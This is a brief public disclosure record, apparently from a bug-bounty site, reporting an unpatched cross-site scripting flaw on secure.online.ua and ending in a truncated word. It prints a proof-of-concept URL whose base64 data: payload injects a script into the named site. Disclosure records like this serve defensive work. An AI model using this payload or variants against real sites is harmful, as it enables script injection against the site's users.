secure.online.ua XSS vulnerability

Vulnerable URL: http://secure.online.ua/formprovider.php?uol=1=data:text/html;base64,PHNjcmlwdD5wcm9tcHQoJ09QRU5CVUdCT1VOVFknKTwvc2NyaXB0Pg== Details: Description| Value ---|--- Patched:| No Latest check for patch:| 14.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Ale...